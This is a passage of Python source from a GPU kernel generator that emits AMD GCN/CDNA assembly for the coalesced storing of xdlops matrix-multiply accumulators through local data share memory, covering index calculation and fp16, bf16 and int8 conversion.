length_above_block_m_per_lanegroup = ctrl.cxm.lanegroup_m_per_block() * ctrl.cxm.lanegroup_m_per_cluster() * \
ctrl.cxm.lanegroup_m_per_thread()
self._emit(f"v_lshrrev_b32 v[{v_tmp4}+1], {utility_log2(length_above_block_m_per_lanegroup)}, v[{v_gemm_im}]")
self._emit(f"v_and_b32 v[{v_tmp4}+1], {ctrl.cxm.block_m_per_lanegroup() - 1} , v[{v_tmp4}+1] ; thread id of block_m_per_lanegroup")
assert length_above_block_m_per_lanegroup % g_mb == 0, f"length_above_block_m_per_lanegroup:{length_above_block_m_per_lanegroup}, g_mb:{g_mb}"
self._emit(f"v_lshl_or_b32 v[{v_co_sst}], v[{v_tmp4}+1], {utility_log2(length_above_block_m_per_lanegroup // g_mb)}, v[{v_co_sst}]")
if ctrl.cxm.waves_per_m() != 1:
length_above_waves_per_m = ctrl.cxm.wave_step_m * ctrl.cxm.lanegroup_m_per_wave() * \
ctrl.cxm.lanegroup_m_per_block() * ctrl.cxm.block_m_per_lanegroup() * \
ctrl.cxm.lanegroup_m_per_thread() * ctrl.cxm.lanegroup_m_per_cluster()
self._emit(f"v_lshrrev_b32 v[{v_tmp4}+2], {utility_log2(length_above_waves_per_m)}, v[{v_gemm_im}] ; thread id of waves_per_m")
assert length_above_waves_per_m % (g_ms * g_mw * g_mb) == 0, f"length_above_waves_per_m:{length_above_waves_per_m}, g_ms:{g_ms} g_mw:{g_mw} g_mb:{g_mb}"
self._emit(f"v_lshl_or_b32 v[{v_co_sst}], v[{v_tmp4}+2], {utility_log2(length_above_waves_per_m // (g_ms * g_mw * g_mb))}, v[{v_co_sst}]")
if ctrl.vector_write_out == 1:
self._emit(f"v_lshrrev_b32 v[{v_tmp4}], {utility_log2(AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M)}, v[{v_co_sst}]")
self._emit(f"v_lshlrev_b32 v[{v_tmp4}+1], {utility_log2(AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M)}, v[{v_gemm_in}] ; implicit transpose with m granularity:{AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M} while store")
self._emit(f"v_lshl_or_b32 v[{v_co_sst}], v[{v_tmp4}], {utility_log2(ctrl.cxm.macro_tile_n * AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M)}, v[{v_tmp4}+1]")
else:
self._emit(f"v_lshl_or_b32 v[{v_co_sst}], v[{v_co_sst}], {utility_log2(ctrl.cxm.macro_tile_n)}, v[{v_gemm_in}]")
# gemm_m_shrink = g_mw * g_mb * AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M # => granularity shrink
# gemm_m_shrink = AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M
# if gemm_m_shrink != 1:
# self._emit(f"v_lshrrev_b32 v[{v_tmp4}], {utility_log2(gemm_m_shrink)}, v[{v_gemm_im}]")
# self._emit(f"v_lshl_or_b32 v[{v_co_sst}], v[{v_tmp4}], {utility_log2(ctrl.cxm.macro_tile_n * AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M)}, v[{v_tmp4}+1]")
# else:
# assert False, "impossible"
self._emit(f"v_lshlrev_b32 v[{v_co_sst}], {utility_log2(data_byte)}, v[{v_co_sst}]")
self._emit(f"v_lshlrev_b32 v[{v_co_sld}], {utility_log2(data_byte * (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out))}, v[{v_tid}]")
return self._get_deferred()
def init_co_sub_m_index(self, v_co_sub_m_index, v_tid, v_tmp6):
def flatten(x):
from functools import reduce
return reduce(lambda a, b: a*b, x, 1)
ctrl = self.ctrl
# need use v_co_sub_m_index to calculate v offset in m direction
g_mr, g_ms, g_mw, g_mb, g_mt = ctrl.get_subgroups()
l_mr, l_ms, l_mw, l_mb, l_mt = ctrl.get_subgroup_length()
n_mc = ctrl.cxm.lanegroup_m_per_cluster() # this iteration is among different thread
n_ml = ctrl.cxm.block_m_per_lanegroup() # this iteration is among different thread
n_mv = ctrl.cxm.waves_per_m() # this iteration is among different thread
ttm = ctrl.get_transposed_thread_mapping()
nd_stride = [l_mt, n_mc, n_ml, g_mb * l_mb, l_mw * g_mw, g_ms * l_ms, n_mv, 1 ]
with self._deferred_context():
self._emit(f"; init_co_sub_m_index xdlops, block_size:{ctrl.cxm.block_size()}, macro-tile:{ctrl.cxm.macro_tile_m}x{ctrl.cxm.macro_tile_n} sub_m_index:{ctrl.get_co_sub_m_index()}")
self._emit(f"; g_mr:{g_mr}, g_ms:{g_ms}, g_mw:{g_mw}, g_mb:{g_mb}, g_mt:{g_mt} | l_mr:{l_mr}, l_ms:{l_ms}, l_mw:{l_mw}, l_mb:{l_mb}, l_mt:{l_mt} | n_mc:{n_mc}, n_ml:{n_ml}, n_mv:{n_mv}")
self._emit(f"; nd_stride:{nd_stride}")
c_m0 = ttm.c_m0()
if c_m0 == 1:
# give a chance to early exit, only let the co_sub_m to be zero
self._emit(f"v_mov_b32 v[{v_co_sub_m_index}], 0")
else:
if ctrl.vector_write_out == 1:
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(ctrl.cxm.macro_tile_n)}, v[{v_tid}] ; get tid along m")
else:
self._emit(f"v_lshlrev_b32 v[{v_tmp6}], {utility_log2(ctrl.vector_write_out)}, v[{v_tid}]")
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(ctrl.cxm.macro_tile_n)}, v[{v_tmp6}] ; get tid along m")
v_idx = 0
# iterate all dimensions
if ctrl.vector_write_out != 1:
# if have vector store, we no longer have granularity, hence every dimension participate in m divide
if l_mt != 1 and c_m0 not in (0, 1):
self._emit(f"v_and_b32 v[{v_tmp6}+{v_idx}], {l_mt - 1}, v[{v_co_sub_m_index}] ; => x_mt")
v_idx = v_idx + 1
c_m0 = c_m0 // l_mt
if c_m0 not in (0, 1):
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(l_mt)} ,v[{v_co_sub_m_index}]")
if n_mc != 1 and c_m0 not in (0, 1):
self._emit(f"v_and_b32 v[{v_tmp6}+{v_idx}], {n_mc - 1}, v[{v_co_sub_m_index}] ; => x_mc")
v_idx = v_idx + 1
c_m0 = c_m0 // n_mc
if c_m0 not in (0, 1):
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(n_mc)} ,v[{v_co_sub_m_index}]")
if n_ml != 1 and c_m0 not in (0, 1):
self._emit(f"v_and_b32 v[{v_tmp6}+{v_idx}], {n_ml - 1}, v[{v_co_sub_m_index}] ; => x_ml")
v_idx = v_idx + 1
c_m0 = c_m0 // n_ml
if c_m0 not in (0, 1):
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(n_ml)} ,v[{v_co_sub_m_index}]")
if l_mb != 1 and c_m0 not in (0, 1):
self._emit(f"v_and_b32 v[{v_tmp6}+{v_idx}], {l_mb - 1}, v[{v_co_sub_m_index}] ; => x_mb")
v_idx = v_idx + 1
c_m0 = c_m0 // l_mb
if c_m0 not in (0, 1):
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(l_mb)} ,v[{v_co_sub_m_index}]")
if l_mw != 1 and c_m0 not in (0, 1):
self._emit(f"v_and_b32 v[{v_tmp6}+{v_idx}], {l_mw - 1}, v[{v_co_sub_m_index}] ; => x_mw")
v_idx = v_idx + 1
c_m0 = c_m0 // l_mw
if c_m0 not in (0, 1):
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(l_mw)} ,v[{v_co_sub_m_index}]")
if l_ms != 1 and c_m0 not in (0, 1):
self._emit(f"v_and_b32 v[{v_tmp6}+{v_idx}], {l_ms - 1}, v[{v_co_sub_m_index}] ; => x_ms")
v_idx = v_idx + 1
c_m0 = c_m0 // l_ms
if c_m0 not in (0, 1):
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(l_ms)} ,v[{v_co_sub_m_index}]")
if n_mv != 1 and c_m0 not in (0, 1):
self._emit(f"v_and_b32 v[{v_tmp6}+{v_idx}], {n_mv - 1}, v[{v_co_sub_m_index}] ; => x_mv")
v_idx = v_idx + 1
c_m0 = c_m0 // n_mv
if c_m0 not in (0, 1):
self._emit(f"v_lshrrev_b32 v[{v_co_sub_m_index}], {utility_log2(n_mv)} ,v[{v_co_sub_m_index}]")
if l_mr != 1 and c_m0 not in (0, 1):
self._emit(f"v_and_b32 v[{v_tmp6}+{v_idx}], {l_mr - 1}, v[{v_co_sub_m_index}] ; => x_mr")
# indeed accoroding to current implementation, at most 2 tmp vgpr is used.
# we keep 6 temp here in case in the future there might be different mapping
assert v_idx <= 5, "since current we only assign 6 vgpr to do this nd split-merge, so larger than 6 vgpr currently not supported"
class pretty_accumulate_co_sub_m_t(object):
def __init__(self):
self.first = 1
def __call__(self, v_co_sub_m_index, v_idx, k_multiplier):
'''
return a string to calculate v_co_sub_m_index = v_idx * k_multiplier + v_co_sub_m_index
'''
assert utility_is_pow2(k_multiplier)
if self.first == 1:
self.first = 0
if k_multiplier == 1:
return f"v_mov_b32 v[{v_co_sub_m_index}], v[{v_idx}]"
else:
return f"v_lshlrev_b32 v[{v_co_sub_m_index}], {utility_log2(k_multiplier)}, v[{v_idx}]"
else:
if k_multiplier == 1:
return f"v_add_u32 v[{v_co_sub_m_index}], v[{v_idx}], v[{v_co_sub_m_index}]"
else:
return f"v_lshl_or_b32 v[{v_co_sub_m_index}], v[{v_idx}], {utility_log2(k_multiplier)}, v[{v_co_sub_m_index}]"
c_m0 = ttm.c_m0()
v_idx_r = 0
# self._emit(f"v_mov_b32 v[{v_co_sub_m_index}], 0")
# if n_mc != 1 and c_m0 not in (0, 1):
# self._emit(f"v_add_u32 v[{v_co_sub_m_index}], v[{v_tmp6}+{v_idx_r}], v[{v_co_sub_m_index}] ; => accumulate x_mc")
# v_idx_r = v_idx_r + 1
# c_m0 = c_m0 // n_mc
# if n_ml != 1 and c_m0 not in (0, 1):
# self._emit(f"v_lshl_or_b32 v[{v_co_sub_m_index}], v[{v_tmp6}+{v_idx_r}], {utility_log2(flatten(nd_stride[0:1]))}, v[{v_co_sub_m_index}] ; => accumulate x_ml")
# v_idx_r = v_idx_r + 1
# c_m0 = c_m0 // n_ml
# if l_mb != 1 and c_m0 not in (0, 1):
# self._emit(f"v_lshl_or_b32 v[{v_co_sub_m_index}], v[{v_tmp6}+{v_idx_r}], {utility_log2(flatten(nd_stride[0:2]))}, v[{v_co_sub_m_index}] ; => accumulate x_mb")
# v_idx_r = v_idx_r + 1
# c_m0 = c_m0 // l_mb
# if l_mw != 1 and c_m0 not in (0, 1):
# self._emit(f"v_lshl_or_b32 v[{v_co_sub_m_index}], v[{v_tmp6}+{v_idx_r}], {utility_log2(flatten(nd_stride[0:3]))}, v[{v_co_sub_m_index}] ; => accumulate x_mw")
# v_idx_r = v_idx_r + 1
# c_m0 = c_m0 // l_mw
# if l_ms != 1 and c_m0 not in (0, 1):
# self._emit(f"v_lshl_or_b32 v[{v_co_sub_m_index}], v[{v_tmp6}+{v_idx_r}], {utility_log2(flatten(nd_stride[0:4]))}, v[{v_co_sub_m_index}] ; => accumulate x_ms")
# v_idx_r = v_idx_r + 1
# c_m0 = c_m0 // l_ms
# if n_mv != 1 and c_m0 not in (0, 1):
# self._emit(f"v_lshl_or_b32 v[{v_co_sub_m_index}], v[{v_tmp6}+{v_idx_r}], {utility_log2(flatten(nd_stride[0:5]))}, v[{v_co_sub_m_index}] ; => accumulate x_mv")
# v_idx_r = v_idx_r + 1
# c_m0 = c_m0 // n_mv
# if l_mr != 1 and c_m0 not in (0, 1):
# self._emit(f"v_lshl_or_b32 v[{v_co_sub_m_index}], v[{v_tmp6}+{v_idx_r}], {utility_log2(flatten(nd_stride[0:6]))}, v[{v_co_sub_m_index}] ; => accumulate x_mr")
accumulate_co_sub_m = pretty_accumulate_co_sub_m_t()
if ctrl.vector_write_out != 1:
# if have vector store, we no longer have granularity, hence every dimension participate in m divide
if l_mt != 1 and c_m0 not in (0, 1):
self._emit(accumulate_co_sub_m(v_co_sub_m_index, f"{v_tmp6}+{v_idx_r}", 1) + " ; => accumulate x_mt")
v_idx_r = v_idx_r + 1
c_m0 = c_m0 // l_mt
if n_mc != 1 and c_m0 not in (0, 1):
self._emit(accumulate_co_sub_m(v_co_sub_m_index, f"{v_tmp6}+{v_idx_r}", flatten(nd_stride[0:1])) + " ; => accumulate x_mc")
v_idx_r = v_idx_r + 1
c_m0 = c_m0 // n_mc
if n_ml != 1 and c_m0 not in (0, 1):
self._emit(accumulate_co_sub_m(v_co_sub_m_index, f"{v_tmp6}+{v_idx_r}", flatten(nd_stride[0:2])) + " ; => accumulate x_ml")
v_idx_r = v_idx_r + 1
c_m0 = c_m0 // n_ml
if l_mb != 1 and c_m0 not in (0, 1):
self._emit(accumulate_co_sub_m(v_co_sub_m_index, f"{v_tmp6}+{v_idx_r}", flatten(nd_stride[0:3])) + " ; => accumulate x_mb")
v_idx_r = v_idx_r + 1
c_m0 = c_m0 // l_mb
if l_mw != 1 and c_m0 not in (0, 1):
self._emit(accumulate_co_sub_m(v_co_sub_m_index, f"{v_tmp6}+{v_idx_r}", flatten(nd_stride[0:4])) + " ; => accumulate x_mw")
v_idx_r = v_idx_r + 1
c_m0 = c_m0 // l_mw
if l_ms != 1 and c_m0 not in (0, 1):
self._emit(accumulate_co_sub_m(v_co_sub_m_index, f"{v_tmp6}+{v_idx_r}", flatten(nd_stride[0:5])) + " ; => accumulate x_ms")
v_idx_r = v_idx_r + 1
c_m0 = c_m0 // l_ms
if n_mv != 1 and c_m0 not in (0, 1):
self._emit(accumulate_co_sub_m(v_co_sub_m_index, f"{v_tmp6}+{v_idx_r}", flatten(nd_stride[0:6])) + " ; => accumulate x_mv")
v_idx_r = v_idx_r + 1
c_m0 = c_m0 // n_mv
if l_mr != 1 and c_m0 not in (0, 1):
self._emit(accumulate_co_sub_m(v_co_sub_m_index, f"{v_tmp6}+{v_idx_r}", flatten(nd_stride[0:7])) + " ; => accumulate x_mr")
# if ctrl.vector_write_out == 1:
# self._emit(f"v_lshlrev_b32 v[{v_co_sub_m_index}], {utility_log2(AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M)}, v[{v_co_sub_m_index}]")
assert v_idx == v_idx_r, "please check!"
return self._get_deferred()
def init_co_sub_n_index(self, v_co_sub_n_index, v_tid, v_tmp2):
'''
in n dimension, always have one thread per column
'''
ctrl = self.ctrl
# need use v_co_sub_n_index to calculate v offset in n direction
with self._deferred_context():
self._emit(f"; init_co_sub_n_index xdlops")
if ctrl.vector_write_out == 1:
self._emit(f"v_and_b32 v[{v_co_sub_n_index}], {ctrl.cxm.macro_tile_n - 1}, v[{v_tid}]")
else:
self._emit(f"v_lshlrev_b32 v[{v_tmp2}], {utility_log2(ctrl.vector_write_out)}, v[{v_tid}]")
self._emit(f"v_and_b32 v[{v_co_sub_n_index}], {ctrl.cxm.macro_tile_n - 1}, v[{v_tmp2}]")
return self._get_deferred()
'''
def get_vgpr_usage(self):
ctrl = self.ctrl
agpr_per_store_group = ctrl.cxm.total_acc_c() // ctrl.coalescing_groups
if ctrl.feat_vgpr_collapse:
data_byte = amdgpu_precision_data_byte(ctrl.precision)
inst_sld_byte = (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out) * data_byte
issues_per_ssgroup = 4 if inst_sld_byte == 16 or inst_sld_byte == 8 else 8
num_sld_total_dword = ctrl.get_num_dword_per_group() // (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out)
total_lgkmcnt = num_sld_total_dword # TODO: assume sld is single issue
assert MAX_LGKMCNT % issues_per_ssgroup == 0
# we need further split based on issues_per_ssgroup
split_sld_groups = (total_lgkmcnt + issues_per_ssgroup - 1) // issues_per_ssgroup
agpr_per_store_split_sld_group = (agpr_per_store_group + split_sld_groups - 1) // split_sld_groups
assert agpr_per_store_split_sld_group >= 4
return agpr_per_store_split_sld_group
else:
return agpr_per_store_group
'''
def __call__(self, a_c, v_c, v_co_sst, v_co_sld, s_p_out, v_out_offset, s_out_offset, s_gemm_m0_stride, s_gemm_m1_stride, s_tmp6, v_store_flag = None, s_k = None, v_cur_k = None, s_block_gtc_ik = None, v_co_sub_m_index = None, v_tmp0 = None):
# if no need s_out_offset, set to integer 0
# if no need flag to dicide store, set v_store_flag to 0
def flatten(x):
from functools import reduce
return reduce(lambda a, b: a*b, x, 1)
ctrl = self.ctrl
data_byte = amdgpu_precision_data_byte(ctrl.precision)
a_c = sym_t(a_c)
v_c = sym_t(v_c)
v_co_sst = sym_t(v_co_sst)
v_co_sld = sym_t(v_co_sld)
s_tmp6 = sym_t(s_tmp6)
if s_k is not None:
s_k = sym_t(s_k)
v_cur_k = sym_t(v_cur_k)
s_block_gtc_ik = sym_t(s_block_gtc_ik)
v_co_sub_m_index = sym_t(v_co_sub_m_index)
v_tmp0 = sym_t(v_tmp0)
g_mr, g_ms, g_mw, g_mb, g_mt = ctrl.get_subgroups()
l_mr, l_ms, l_mw, l_mb, l_mt = ctrl.get_subgroup_length()
n_mc = ctrl.cxm.lanegroup_m_per_cluster() # this iteration is among different thread
n_ml = ctrl.cxm.block_m_per_lanegroup() # this iteration is among different thread
n_mv = ctrl.cxm.waves_per_m() # this iteration is among different thread
n_nc = ctrl.cxm.lanegroup_n_per_cluster() # this iteration is among different thread
n_nl = ctrl.cxm.block_n_per_lanegroup() # this iteration is among different thread
n_nv = ctrl.cxm.waves_per_n() # this iteration is among different thread
ttm = ctrl.get_transposed_thread_mapping()
nd_stride = [n_mc, n_ml, g_mb * l_mb, l_mw * g_mw, g_ms * l_ms, n_mv, 1 ]
no_s_out_offset = s_out_offset is None
inst_sst_byte = (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else 1) * data_byte
inst_sld_byte = (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out) * data_byte
# for xdlops, always consider granularity in column, hence here is always ds_write_b128/ds_read_b128
inst_sst = inst_ds_write_t(inst_sst_byte)
inst_sld = inst_ds_read_t(inst_sld_byte)
if ctrl.gemm_k_global_split:
v_pack = 2 if ctrl.vector_write_out == 2 and data_byte == 2 else 1
inst_gst = inst_buffer_atomic_add_dword_t(ctrl.vector_write_out * data_byte, v_pack)
else:
inst_gst = inst_buffer_store_t(ctrl.vector_write_out * data_byte)
s_out_offset_itr = sym_t(s_tmp6(0))
# s_thread_m_stride = sym_t(s_tmp4(1))
if ctrl.gemm_m_order == IGEMM_COALESCING_GEMM_M_ORDER_M0_M1:
m_index_per_group = ctrl.get_m_index_per_group()
else:
m_index_per_group = ctrl.get_m_index_per_group_m1_m0()
# thread_m_stride = ctrl.get_thread_m_stride()
assert len(m_index_per_group) == ctrl.coalescing_groups
t_mr, t_nr, t_ms, t_ns, t_mw, t_nw, t_mb, t_mt = ctrl.cxm.acc_c_lengths()
s_mr, s_nr, s_ms, s_ns, s_mw, s_nw, s_mb, s_mt = t_nr * t_ms * t_ns * t_mw * t_nw * t_mb * t_mt, \
t_ms * t_ns * t_mw * t_nw * t_mb * t_mt, \
t_ns * t_mw * t_nw * t_mb * t_mt, \
t_mw * t_nw * t_mb * t_mt, \
t_nw * t_mb * t_mt, \
t_mb * t_mt, \
t_mt, \
1
i_g_list = list()
for i_g_mr, i_g_ms, i_g_mw, i_g_mb, i_g_mt in itertools.product(range(g_mr), range(g_ms), range(g_mw), range(g_mb), range(g_mt)):
i_g_list.append((i_g_mr, i_g_ms, i_g_mw, i_g_mb, i_g_mt))
agpr_consume_list = list() # used for assertion
lds_size_per_group = (ctrl.cxm.macro_tile_m * ctrl.cxm.macro_tile_n // ctrl.coalescing_groups) * data_byte # used for assertion
with self._deferred_context():
self._emit(f"; coalescing store, mapping:{ctrl.cxm.serialize()}")
self._emit(f"; coalescing_groups:{ctrl.coalescing_groups}, num_dword_per_group:{ctrl.get_num_dword_per_group()}")
self._emit(f"; init_co_sub_m_index xdlops, block_size:{ctrl.cxm.block_size()}, macro-tile:{ctrl.cxm.macro_tile_m}x{ctrl.cxm.macro_tile_n} sub_m_index:{ctrl.get_co_sub_m_index()}")
self._emit(f"; g_mr:{g_mr}, g_ms:{g_ms}, g_mw:{g_mw}, g_mb:{g_mb}, g_mt:{g_mt} | l_mr:{l_mr}, l_ms:{l_ms}, l_mw:{l_mw}, l_mb:{l_mb}, l_mt:{l_mt} | n_mc:{n_mc}, n_ml:{n_ml}, n_mv:{n_mv}")
self._emit(f"; nd_stride:{nd_stride}")
# some cases that
if ctrl.can_skip_coalescing():
self._emit(f";[X] coalescing through LDS is skipped")
for i_group in range(ctrl.coalescing_groups):
m_index_start_per_group = m_index_per_group[i_group][0][0]
m0_index_start_per_group, m1_index_start_per_group = ctrl.get_m0_m1_index(m_index_start_per_group)
i_g_mr, i_g_ms, i_g_mw, i_g_mb, i_g_mt = i_g_list[i_group]
a_group_start_index = i_g_mr * l_mr * s_mr + i_g_ms * l_ms * s_ms + i_g_mw * l_mw * s_mw + i_g_mb * l_mb * s_mb + i_g_mt * l_mt * s_mt
self._emit(f"; start group {i_group}, i_g_mr:{i_g_mr}, i_g_ms:{i_g_ms}, i_g_mw:{i_g_mw}, i_g_mb:{i_g_mb}, i_g_mt:{i_g_mt}, m index start from {m_index_start_per_group}")
if not ctrl.can_skip_coalescing():
self._emit(f"s_barrier")
vgpr_index_acc = 0
for i_mr, i_ms, i_mw, i_mb in itertools.product(range(l_mr), range(l_ms), range(l_mw), range(l_mb)):
gpr_m_offset = i_mr * s_mr + i_ms * s_ms + i_mw * s_mw + i_mb * s_mb
sst_m_offset = i_mr * n_mv * l_ms * l_mw * l_mb * n_ml * n_mc + \
i_ms * l_mw * l_mb * n_ml * n_mc + \
i_mw * l_mb * n_ml * n_mc + \
i_mb * n_ml * n_mc # ATTENTION! here is not multiplied by granularity_m, since it is shrinked to n direction, when everything is in LDS
if ctrl.vector_write_out != 1:
sst_m_offset = sst_m_offset * l_mt # ATTENTION! if vector write out, we no longer have shrink granularity, hence need multiply back
# iterate through all m within current group
for i_nr, i_ns, i_nw in itertools.product(range(t_nr), range(t_ns), range(t_nw)):
gpr_n_offset = i_nr * s_nr + i_ns * s_ns + i_nw * s_nw
sst_n_offset = i_nr * n_nv * ctrl.cxm.wave_step_n * ctrl.cxm.lanegroup_n_per_wave() * n_nl * n_nc + \
i_ns * ctrl.cxm.lanegroup_n_per_wave() * n_nl * n_nc + \
i_nw * n_nl * n_nc
# self._emit(f" => ctrl.cxm.wave_step_n:{ctrl.cxm.wave_step_n}, ctrl.cxm.lanegroup_n_per_wave():{ctrl.cxm.lanegroup_n_per_wave()}, n_nl:{n_nl}, n_nc:{n_nc}")
agpr_index = a_group_start_index + gpr_m_offset + gpr_n_offset
#vgpr_index = gpr_m_offset + gpr_n_offset
vgpr_index = vgpr_index_acc
sst_offset = (sst_m_offset * ctrl.cxm.macro_tile_n * (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else 1) + \
sst_n_offset * (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else 1)) * data_byte
assert sst_offset < lds_size_per_group and sst_offset + (m_index_per_group[i_group][-1][0] - m_index_per_group[i_group][0][0]) * data_byte < lds_size_per_group
if not ctrl.accvgpr_unified:
self._emit(f"v_accvgpr_read_b32 v[{v_c(vgpr_index + 0)}], a[{a_c(agpr_index + 0)}]") ; agpr_consume_list.append(agpr_index + 0)
self._emit(f"v_accvgpr_read_b32 v[{v_c(vgpr_index + 1)}], a[{a_c(agpr_index + 1)}]") ; agpr_consume_list.append(agpr_index + 1)
self._emit(f"v_accvgpr_read_b32 v[{v_c(vgpr_index + 2)}], a[{a_c(agpr_index + 2)}]") ; agpr_consume_list.append(agpr_index + 2)
self._emit(f"v_accvgpr_read_b32 v[{v_c(vgpr_index + 3)}], a[{a_c(agpr_index + 3)}]") ; agpr_consume_list.append(agpr_index + 3)
# self._emit(f"s_nop 4") # might consider nop to solve RAW
# for fp16 and bf16, vgpr need to be cast to 16 bits
if ctrl.precision == 'fp16':
if not ctrl.accvgpr_unified:
self._emit(f"v_cvt_f16_f32_e32 v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 0)}]")
self._emit(f"v_cvt_f16_f32_e32 v[{v_c(vgpr_index + 1)}], v[{v_c(vgpr_index + 1)}]")
self._emit(f"v_cvt_f16_f32_e32 v[{v_c(vgpr_index + 2)}], v[{v_c(vgpr_index + 2)}]")
self._emit(f"v_cvt_f16_f32_e32 v[{v_c(vgpr_index + 3)}], v[{v_c(vgpr_index + 3)}]")
else:
self._emit(f"v_cvt_f16_f32_e32 v[{v_c(vgpr_index + 0)}], v[{a_c(agpr_index + 0)}]") ; agpr_consume_list.append(agpr_index + 0)
self._emit(f"v_cvt_f16_f32_e32 v[{v_c(vgpr_index + 1)}], v[{a_c(agpr_index + 1)}]") ; agpr_consume_list.append(agpr_index + 1)
self._emit(f"v_cvt_f16_f32_e32 v[{v_c(vgpr_index + 2)}], v[{a_c(agpr_index + 2)}]") ; agpr_consume_list.append(agpr_index + 2)
self._emit(f"v_cvt_f16_f32_e32 v[{v_c(vgpr_index + 3)}], v[{a_c(agpr_index + 3)}]") ; agpr_consume_list.append(agpr_index + 3)
if ctrl.vector_write_out == 1:
self._emit(f"v_pack_b32_f16 v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 1)}]")
self._emit(f"v_pack_b32_f16 v[{v_c(vgpr_index + 1)}], v[{v_c(vgpr_index + 2)}], v[{v_c(vgpr_index + 3)}]")
if ctrl.precision == 'bf16':
if ctrl.vector_write_out == 1:
if not ctrl.accvgpr_unified:
self._emit(f"v_pack_b32_f16 v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 1)}] op_sel:[1,1]")
self._emit(f"v_pack_b32_f16 v[{v_c(vgpr_index + 1)}], v[{v_c(vgpr_index + 2)}], v[{v_c(vgpr_index + 3)}] op_sel:[1,1]")
else:
self._emit(f"v_pack_b32_f16 v[{v_c(vgpr_index + 0)}], v[{a_c(agpr_index + 0)}], v[{a_c(agpr_index + 1)}] op_sel:[1,1]") ; agpr_consume_list.append(agpr_index + 0) ; agpr_consume_list.append(agpr_index + 1)
self._emit(f"v_pack_b32_f16 v[{v_c(vgpr_index + 1)}], v[{a_c(agpr_index + 2)}], v[{a_c(agpr_index + 3)}] op_sel:[1,1]") ; agpr_consume_list.append(agpr_index + 2) ; agpr_consume_list.append(agpr_index + 3)
else:
if not ctrl.accvgpr_unified:
self._emit(f"v_lshrrev_b32 v[{v_c(vgpr_index + 0)}], 16, v[{v_c(vgpr_index + 0)}]")
self._emit(f"v_lshrrev_b32 v[{v_c(vgpr_index + 1)}], 16, v[{v_c(vgpr_index + 1)}]")
self._emit(f"v_lshrrev_b32 v[{v_c(vgpr_index + 2)}], 16, v[{v_c(vgpr_index + 2)}]")
self._emit(f"v_lshrrev_b32 v[{v_c(vgpr_index + 3)}], 16, v[{v_c(vgpr_index + 3)}]")
else:
self._emit(f"v_lshrrev_b32 v[{v_c(vgpr_index + 0)}], 16, v[{a_c(agpr_index + 0)}]") ; agpr_consume_list.append(agpr_index + 0)
self._emit(f"v_lshrrev_b32 v[{v_c(vgpr_index + 1)}], 16, v[{a_c(agpr_index + 1)}]") ; agpr_consume_list.append(agpr_index + 1)
self._emit(f"v_lshrrev_b32 v[{v_c(vgpr_index + 2)}], 16, v[{a_c(agpr_index + 2)}]") ; agpr_consume_list.append(agpr_index + 2)
self._emit(f"v_lshrrev_b32 v[{v_c(vgpr_index + 3)}], 16, v[{a_c(agpr_index + 3)}]") ; agpr_consume_list.append(agpr_index + 3)
elif ctrl.precision == 'int8':
# CAUSION: must have a symbol s_0xff and pre inited with 0xff
if ctrl.vector_write_out == 1:
if not ctrl.accvgpr_unified:
self._emit(f"v_and_b32 v[{v_c(vgpr_index + 0)}], s[s_0xff], v[{v_c(vgpr_index + 0)}]")
self._emit(f"v_and_b32 v[{v_c(vgpr_index + 1)}], s[s_0xff], v[{v_c(vgpr_index + 1)}]")
self._emit(f"v_and_b32 v[{v_c(vgpr_index + 2)}], s[s_0xff], v[{v_c(vgpr_index + 2)}]")
self._emit(f"v_lshlrev_b32 v[{v_c(vgpr_index + 3)}], 24, v[{v_c(vgpr_index + 3)}]")
else:
self._emit(f"v_and_b32 v[{v_c(vgpr_index + 0)}], s[s_0xff], v[{a_c(agpr_index + 0)}]"); agpr_consume_list.append(agpr_index + 0)
self._emit(f"v_and_b32 v[{v_c(vgpr_index + 1)}], s[s_0xff], v[{a_c(agpr_index + 1)}]"); agpr_consume_list.append(agpr_index + 1)
self._emit(f"v_and_b32 v[{v_c(vgpr_index + 2)}], s[s_0xff], v[{a_c(agpr_index + 2)}]"); agpr_consume_list.append(agpr_index + 2)
self._emit(f"v_lshlrev_b32 v[{v_c(vgpr_index + 3)}], 24, v[{a_c(agpr_index + 3)}]") ; agpr_consume_list.append(agpr_index + 3)
self._emit(f"v_lshlrev_b32 v[{v_c(vgpr_index + 1)}], 8, v[{v_c(vgpr_index + 1)}]")
self._emit(f"v_lshlrev_b32 v[{v_c(vgpr_index + 2)}], 16, v[{v_c(vgpr_index + 2)}]")
self._emit(f"v_or_b32 v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 3)}]")
